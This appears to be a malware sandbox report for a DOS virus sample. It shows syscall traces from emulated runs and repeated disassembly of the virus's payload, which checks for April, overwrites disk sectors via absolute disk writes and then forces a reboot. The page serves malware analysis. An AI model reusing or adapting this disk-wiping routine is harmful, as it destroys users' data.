Sample viewer

vx.netlux.org/Virus.DOS.KeyPress.935

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:29:02.701813073Z 42 PC: 12afa | Get date 0x12afa: cmp dh, 4
0x12afd: jne 0x12b2c
0x12aff: xor dx, dx
0x12b01: mov ah, 0x19
0x12b03: int 0x21
0x12b05: xor bx, bx
0x12b07: mov ds, bx
0x12b09: mov cx, 0x77
0x12b0c: int 0x26
0x12b0e: jb 0x12b1a
0x12b10: pop di
0x12b11: add dx, 0x78
0x12b14: cmp dx, 0x2d0
0x12b18: jne 0x12b09
0x12b1a: ljmp 0xf000:0xfff0
0x12b1f: add ax, word ptr [bp + di + 0x68]
0x12b22: popaw
0x12b23: outsw dx, word ptr [si]
0x12b24: jae 0x12b4c
0x12b26: inc cx
2018-12-17T22:29:02.704651148Z 48 PC: 12b4f | Get DOS version

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":5179,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:53:56.169571934Z 42 PC: 12afa | Get date 0x12afa: cmp dh, 4
0x12afd: jne 0x12b2c
0x12aff: xor dx, dx
0x12b01: mov ah, 0x19
0x12b03: int 0x21
0x12b05: xor bx, bx
0x12b07: mov ds, bx
0x12b09: mov cx, 0x77
0x12b0c: int 0x26
0x12b0e: jb 0x12b1a
0x12b10: pop di
0x12b11: add dx, 0x78
0x12b14: cmp dx, 0x2d0
0x12b18: jne 0x12b09
0x12b1a: ljmp 0xf000:0xfff0
0x12b1f: add ax, word ptr [bp + di + 0x68]
0x12b22: popaw
0x12b23: outsw dx, word ptr [si]
0x12b24: jae 0x12b4c
0x12b26: inc cx
2018-12-25T11:53:56.172731558Z 48 PC: 12b4f | Get DOS version

{"DateBased":true,"Day":1,"Month":4,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":5179,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:53:57.069706641Z 42 PC: 12afa | Get date 0x12afa: cmp dh, 4
0x12afd: jne 0x12b2c
0x12aff: xor dx, dx
0x12b01: mov ah, 0x19
0x12b03: int 0x21
0x12b05: xor bx, bx
0x12b07: mov ds, bx
0x12b09: mov cx, 0x77
0x12b0c: int 0x26
0x12b0e: jb 0x12b1a
0x12b10: pop di
0x12b11: add dx, 0x78
0x12b14: cmp dx, 0x2d0
0x12b18: jne 0x12b09
0x12b1a: ljmp 0xf000:0xfff0
0x12b1f: add ax, word ptr [bp + di + 0x68]
0x12b22: popaw
0x12b23: outsw dx, word ptr [si]
0x12b24: jae 0x12b4c
0x12b26: inc cx
2018-12-25T11:53:57.072679717Z 25 PC: 12b05 | Get default drive
2018-12-25T11:53:59.250079778Z 72 PC: 8f1b9 | Allocate memory
2018-12-25T11:53:59.25196691Z 72 PC: 8f1bd | Allocate memory
2018-12-25T11:53:59.255056879Z 99 PC: 90858 | Get DBCS lead byte table pointer
2018-12-25T11:53:59.258734964Z 61 PC: 91f88 | Open file (Filename = 'C:\WINDOWS\HIMEM.SYS')
2018-12-25T11:53:59.271246341Z 66 PC: 91f95 | Move file pointer
2018-12-25T11:53:59.273077409Z 62 PC: 91fc1 | Close file
2018-12-25T11:53:59.276557394Z 75 PC: 91fe0 | Execute program
2018-12-25T11:53:59.297632124Z 98 PC: 916f1 | Get current PSP
2018-12-25T11:53:59.299189882Z 9 PC: c605 | Display string (String= '6��r�&;] u')
2018-12-25T11:53:59.31451974Z 48 PC: c609 | Get DOS version
2018-12-25T11:53:59.318731484Z 9 PC: c382 | Display string (String= ' Installed A20 handler number ')
2018-12-25T11:53:59.322438503Z 2 PC: c38c | Character output (Char = '32')
2018-12-25T11:53:59.326058825Z 2 PC: c3a7 | Character output (Char = '2e')
2018-12-25T11:53:59.330297933Z 9 PC: c6d9 | Display string (String= '�����VH�VD���V@��������������_���Ku��t1��������D�����t �� ��������a1��Z�����W���� ������5���|�����(���������Nj�(��������p�^')
2018-12-25T11:53:59.334774289Z 9 PC: c6e0 | Display string (String= '�5���|�����(���������Nj�(��������p�^')
2018-12-25T11:53:59.341270163Z 61 PC: 91f88 | Open file (See above)
2018-12-25T11:53:59.353249027Z 66 PC: 91f95 | Move file pointer (See above)
2018-12-25T11:53:59.355081099Z 62 PC: 91fc1 | Close file (See above)
2018-12-25T11:53:59.357862815Z 75 PC: 91fe0 | Execute program (See above)
2018-12-25T11:53:59.381450032Z 98 PC: 916f1 | Get current PSP (See above)
2018-12-25T11:53:59.38659586Z 82 PC: 13d46 | Get DOS internal pointers (SYSVARS)
2018-12-25T11:53:59.388489541Z 53 PC: 13ac3 | Get interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T11:53:59.391183381Z 37 PC: 13ad6 | Set interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T11:53:59.392455549Z 53 PC: 13ae0 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:53:59.394037946Z 37 PC: 13af3 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:53:59.396891659Z 9 PC: 13a0d | Display string (Could not find end pointer)
2018-12-25T11:53:59.405643985Z 62 PC: 8f8eb | Close file
2018-12-25T11:53:59.408014219Z 62 PC: 8f8f2 | Close file
2018-12-25T11:53:59.411179071Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.412871444Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.414560808Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.416976733Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.420077148Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.421781918Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.423975905Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.426187218Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.427887282Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.429605208Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.432522277Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.434299444Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.436065608Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.438535568Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.440159746Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.442552085Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.445710706Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.447921374Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.449380549Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.451231745Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.452812431Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.454251619Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.455567972Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.469367671Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.471342906Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.472996022Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.476264363Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.478275544Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.48030305Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:53:59.483210971Z 61 PC: 8f8ff | Open file (Filename = '')
2018-12-25T11:53:59.489330379Z 62 PC: 8f90e | Close file
2018-12-25T11:53:59.491232428Z 69 PC: 8f915 | Duplicate handle
2018-12-25T11:53:59.49329792Z 69 PC: 8f919 | Duplicate handle
2018-12-25T11:53:59.495117765Z 61 PC: 9387b | Open file (Filename = '')
2018-12-25T11:53:59.501552195Z 68 PC: 9386b | I/O control for devices (Set for = '')
2018-12-25T11:53:59.503476632Z 61 PC: 9387b | Open file (See above)
2018-12-25T11:53:59.509392505Z 68 PC: 9386b | I/O control for devices (See above)
2018-12-25T11:53:59.511176894Z 74 PC: 8f9c4 | Reallocate memory
2018-12-25T11:53:59.512950403Z 72 PC: 8f9e0 | Allocate memory
2018-12-25T11:53:59.515360722Z 72 PC: 8f9e4 | Allocate memory
2018-12-25T11:53:59.517027927Z 74 PC: 8f9fb | Reallocate memory
2018-12-25T11:53:59.518644717Z 72 PC: 8fa02 | Allocate memory
2018-12-25T11:53:59.521725375Z 72 PC: 8fa06 | Allocate memory
2018-12-25T11:53:59.523752238Z 73 PC: 8fa11 | Release memory
2018-12-25T11:53:59.525717107Z 73 PC: 8efea | Release memory
2018-12-25T11:53:59.528188445Z 74 PC: 8f003 | Reallocate memory
2018-12-25T11:53:59.530419301Z 72 PC: 8f054 | Allocate memory
2018-12-25T11:53:59.532711856Z 72 PC: 8f058 | Allocate memory
2018-12-25T11:53:59.535405741Z 73 PC: 8f060 | Release memory
2018-12-25T11:53:59.537220554Z 61 PC: 8f080 | Open file (Filename = '')
2018-12-25T11:53:59.548230445Z 63 PC: 8f095 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:53:59.555437607Z 66 PC: 8f0ad | Move file pointer
2018-12-25T11:53:59.557183136Z 62 PC: 8f0d1 | Close file
2018-12-25T11:53:59.55931575Z 75 PC: 8f0f2 | Execute program
2018-12-25T11:53:59.585463737Z 80 PC: 12be9 | Set current PSP
2018-12-25T11:53:59.588007516Z 48 PC: 12bee | Get DOS version
2018-12-25T11:53:59.590238218Z 99 PC: 193d0 | Get DBCS lead byte table pointer
2018-12-25T11:53:59.593316692Z 101 PC: 12c74 | Get extended country info
2018-12-25T11:53:59.596407748Z 99 PC: 12c7a | Get DBCS lead byte table pointer
2018-12-25T11:53:59.598839787Z 74 PC: 12cdc | Reallocate memory
2018-12-25T11:53:59.60089593Z 72 PC: 1355d | Allocate memory
2018-12-25T11:53:59.603959708Z 25 PC: 13596 | Get default drive
2018-12-25T11:53:59.606228222Z 71 PC: 135ad | Get current directory
2018-12-25T11:53:59.609449915Z 59 PC: 135ba | Change current directory
2018-12-25T11:53:59.617968142Z 59 PC: 135c8 | Change current directory
2018-12-25T11:53:59.625369592Z 59 PC: 135d3 | Change current directory
2018-12-25T11:53:59.629943127Z 25 PC: 12d13 | Get default drive
2018-12-25T11:53:59.631909642Z 37 PC: 127d3 | Set interrupt vector (Interrupt = '34' AKA 'Random write')
2018-12-25T11:53:59.634613164Z 37 PC: 127da | Set interrupt vector (Interrupt = '35' AKA 'Get file size in records')
2018-12-25T11:53:59.636249657Z 37 PC: 127e1 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:53:59.638749703Z 80 PC: 1301d | Set current PSP
2018-12-25T11:53:59.641133209Z 37 PC: 13041 | Set interrupt vector (Interrupt = '46' AKA 'Set verify flag')
2018-12-25T11:53:59.642597589Z 53 PC: 13362 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:53:59.643961115Z 37 PC: 13383 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:53:59.646400474Z 51 PC: 13417 | Get or set Ctrl-Break
2018-12-25T11:53:59.648855848Z 72 PC: 130ec | Allocate memory
2018-12-25T11:53:59.651256494Z 61 PC: 131b2 | Open file (Filename = '')
2018-12-25T11:53:59.659208033Z 62 PC: 131ba | Close file
2018-12-25T11:53:59.661940115Z 51 PC: 1344c | Get or set Ctrl-Break
2018-12-25T11:53:59.663602692Z 74 PC: 1197c | Reallocate memory
2018-12-25T11:53:59.665947878Z 72 PC: 11991 | Allocate memory
2018-12-25T11:53:59.667834162Z 73 PC: 119b2 | Release memory
2018-12-25T11:53:59.669939634Z 72 PC: 119bd | Allocate memory
2018-12-25T11:53:59.672742262Z 73 PC: 119df | Release memory
2018-12-25T11:53:59.674768145Z 72 PC: 119f5 | Allocate memory
2018-12-25T11:53:59.676749519Z 72 PC: 119fd | Allocate memory